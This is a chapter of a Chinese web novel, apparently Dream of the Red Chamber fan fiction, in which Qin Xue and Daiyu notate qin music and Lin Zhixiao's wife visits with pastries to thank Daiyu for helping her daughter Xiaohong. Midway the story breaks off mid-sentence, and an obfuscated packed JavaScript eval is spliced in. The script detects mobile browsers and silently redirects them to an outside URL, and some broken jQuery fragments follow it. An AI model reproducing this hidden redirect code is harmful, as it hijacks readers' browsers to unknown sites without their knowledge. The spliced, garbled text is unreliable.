176.八八回下 知图报林娘携新糕
作品:《雪落红楼万芳春》 秦雪笑道:“这也不难。这虽然是个故事,但这个故事早被翻拍成了‘电视剧’和‘电影’,在纸上的时候可以用辞藻引发读者的想象,可等搬到荧幕上了,自然就要配上真的曲子。虽然原曲应当是怎样的,谁也说不好,但这些创作者们费尽心思的作品也是很好听的,我现在就记得两首。”
秦雪说的是电影版的配乐《沧海一声笑》和1996年吕颂贤主演的电视剧的插曲《笑傲江湖曲》。
这个故事非常经典,多年来一直多有翻拍改编,虽然其他版本的创作者也很用心,但始终是这两个曲子让秦雪印象最深。
她便将这两个曲子轻轻哼唱出来,果然黛玉听完也说好听。
黛玉在琴上一面试弹、一面记谱,写了一回,笑道:“只是如今手生得很,到底还是要多练习一下才行,不能辜负了这样好听的曲子。”
秦雪拨弄了一下琴弦,古琴发出一声清越的震鸣,余韵悠长。
秦雪压住弦,叹道:“你已经是万里挑一的‘绝对音感’了,还这么谦虚刻苦,我真是没话可说。”
黛玉对着拟写的琴谱,又试了几个音,笑道:“不敢当。如今我不仅要练指法,就连这谱子也是要改的。这张谱子不过是权宜记下的,实在未必便对,恐怕指法也不大流畅。还是要等一边习练、一边改了才好,等整首曲子都弹得熟了,我再将谱子誊到册子里。”
她在纸页上写下“笑傲江湖之曲”,神往道:“若我也能如曲洋、刘正风那两位老前辈一般,得一心意相通的知己合奏此曲、逍遥天地之间,那该有多好。”
秦雪笑道:“那道士不是说了‘大道不孤’?知己会有的。若是实在没有,我就勉为其难学学吹箫,勉强跟你凑成个搭子也罢了。”
她话音刚落,突然醒悟道:“你说,这‘大道不孤’……难道说的是燕容?从前我向他抱怨在这里形单影只、精神孤独,那道士送了我这四个字,所以他早就知道燕容的存在了?”
黛玉沉吟道:“也许罢。”
两人正说着话,春纤进来道:“姑娘,林大娘来了。”黛玉忙让请进来坐。
她本以为是王夫人或凤姐处有什么事,谁知竟是林之孝家的自己一个人来了,手上还提着一个青布包袱。
包袱里面方方正正的,似乎是个盒子。
这林之孝家的如今也不过才三十六岁年纪,却是荣国府几个最有体面的管事妇人之一。这是个颇干练的女人,头上身上都收拾得十分整齐,一见了黛玉,马上笑着问好道:“给姑娘请安了,姑娘这一程子可好么。”
林之孝两口子办事公允可靠,为人又忠厚踏实,所以颇受主子们倚重,加之平日里两人谨言慎行、处事低调,就算得了体面也不肯任意欺压别人,并不是那一起子得意忘形、作威卖弄之人,是以大家都十分心服。
黛玉起身迎上去笑道:“林大娘好,日常总受您的照顾,怎么还这样客气?倒叫我不好意思起来了。”
林之孝家的道:“给姑娘请安,原是咱们分内的事。是姑娘心地好,这才不计较咱们日常那些失礼的地方,倒惯得我们一干人越发不像个样子了。”
黛玉含笑点头,忙请她坐,秦雪等端上茶来。
林之孝家的推拒不过,便在一只绣墩上半坐了。
她先将那包袱打开,将里面一只精致的匣子拿出来,递给秦雪,跟着就笑向黛玉道:“请姑娘体谅我嘴笨、不会说话,只好备这一点子心意。”
见黛玉目露疑问,林之孝家的道:“我便敞开说了,今日我是为了我们小红的事情特地来谢姑娘的。想姑娘是何等样人,我们没有什么拿得出手的谢礼,便想着不如到外头买一点新鲜玩意,只怕姑娘还喜欢。这一家铺子的点心做得甚好,我们使人去问了,原是些头两年从南边的人来开的,既然是南边儿的滋味,我想着姑娘说不准能爱吃。姑娘放心,东西我仔细瞧过,都是干净的。我叫人买了两份来,我在家也先吃了几块,没有什么不妥当的。”
秦雪将匣子揭起,里面整整齐齐地在细纸上码着几样精细糕点,果然是南边的老样式,家常倒也难得。
黛玉就着秦雪的手一看,点点头,眼睛瞥到匣子上,突然一亮,笑向林之孝家的道:“何必又要说一个‘谢’字?便是没有这回事,我们也希望林大娘常来坐坐,与我们说说话儿。”
林之孝家的道:“要谢、要谢,小红那丫头这一次能入了琏二奶奶的眼,是多亏了姑娘的举荐。姑娘心地好、不居功,可我们却不能做那知恩不报的人。若是姑娘不嫌闹烦,改日我再带我们红丫头来,叫她给姑娘磕头。”
黛玉笑道:“磕头便不必了,她如今跟着琏二嫂子,正是该忙的时候儿,没得又来敬神。说到底,是林大娘两口子教得一个好女儿,那样的聪明能干,便是没有我那两句没要紧的话,我想也不至于就埋没了她,不过早几日、晚几日罢了。况且……以林大娘您素日在琏二嫂子跟前的体面,您若是想让小红过去服侍,不过也只是一句话儿的工夫,反而这些时日间只让她在怡红院做个外院丫头,想来也是有您的道理,只怕这回是我多事了。”
林之孝家的叹道:“姑娘说这样的话,越发叫咱们无地自容了。姑娘不知道,小红这个丫头,心气儿太高,我同她爹两个总怕她心急、出错儿,所以不敢叫她往主子们跟前现眼去。姑娘您想,二奶奶那样厉害的人,我若是拼着一张老脸将闺女送过去,二奶奶便是收了她,心里也难免猜忌,若说到时只打发她做些没要紧的事,仍旧成全不得她。总是要二奶奶自己相中了她,那才是正经得了前程。可惜这丫头自己的造化不够,多亏得林姑娘做了她的贵人,送了她一程,她这才叫‘得偿所愿’了。我们做爹娘的,自然盼着孩子好,这叫我们怎么能不多谢姑娘呢。”
秦雪捧一盏茶来,心想这林之孝家的哪里不会说话了。
这可太会说话了啊。
林之孝家的接了茶,对秦雪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15989889|162289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑着点点头,又叹道:“其实,不怕说给姑娘知道,我在家里倒总骂小红,为什么就不肯安安稳稳地过日子?到了岁数放出去,有她爹在,自然能挑一个踏实、可靠的好孩子成家,往后的日子也有倚靠,不说有什么富贵,总能保一个平平顺顺。姑娘赞她聪明,我倒希望她生得笨笨的,比如今这样叫我和她爹每日担惊受怕的好得多。”
黛玉笑道:“林大娘这话说的,没得叫人刺心。你不知多少人家里烧香拜佛,只盼着姑娘出息、能干,怎么您倒说起反话来了。”
林之孝家的也笑了,道:“我倒不是跟姑娘在这里作态、矫情,只是我和她爹两个在这家里日子久了,什么不知道?红丫头虽然生了有那一点子聪明,却是‘小聪明’,到底还嫩得很。她未经磨砺,若遇上大事,仍旧是不中用的。我也是这样同她讲,只是她自己不甘心,一定要出头。我和她爹没办法,便将她放在大观园里看看园子,想着就这么冷冷清清的,能让她静一静心,那也罢了。谁知道娘娘又下了旨,叫二爷搬了进去,又叫她的心思活泛了起来,可见还真是天意。”
黛玉示意她喝茶,一面又笑道:“有本事、有聪明的人想出头,那也是应当的,不算得什么事。她既有这个能为,您叫她怎么甘心只做个粗使的小丫头呢,若是真认了命,这也辜负了她这一段聪明。前些时候我看她在那边院子里一个人擦花草叶子,这些事谁不能做?依我看,也实在可惜得紧了。”
林之孝家的摇摇头,道:“姑娘年轻、又生在这富贵家里,所以不大觉得,其实这普天下里‘可惜’的事情呀,可太多、太多了,岂有事事都能周全如意的?唉,自从宝二爷搬进了怡红院,我就瞧那丫头的精气神儿都不同了,也真是造化弄人,若不是分着去了‘怡红院’,是跟的别的姑娘们也罢了,偏偏是宝二爷。唉,我这心里总是担着些忧虑的……”
她将心里的话说出半句,马上截住话头,低头抿了一口茶水,这才道:“亏得二爷那屋里的大丫头们厉害,不肯叫这孩子进屋服侍。她心里虽然委屈,那也是没法子的事情。”
怡红院几个大丫头们的行事,在媳妇婆子们的眼里是极扎眼的,她们一向里有宝玉的纵容,又潜移默化地受了宝玉不喜欢婆子的影响,说话便也不大客气,此时连颇宽厚的林之孝家的也说她们“厉害”,很难说没有暗诽的意味。
黛玉微微一笑,道:“说起这事,我还有些奇怪呢,我可是听见说,那些大丫头们常常欺负小红,大娘您既然知道,怎么也不给她出头去?”
林之孝家的叹道:“姑娘说笑了,我们虽然心里疼她,却也不好插手。人在怡红院,便得服怡红院的管,由她姐姐们带着、教着,连老子娘也不能插手的,不然也没有规矩了。另一件,红丫头虽然心气儿高,脾气倒也随了我,若是在外边儿受了什么委屈,她倒不肯告状的。可是姑娘也知道,这家里有什么事儿能瞒了我和她爹去?可既然她不肯说,我们也只作不知道罢了。”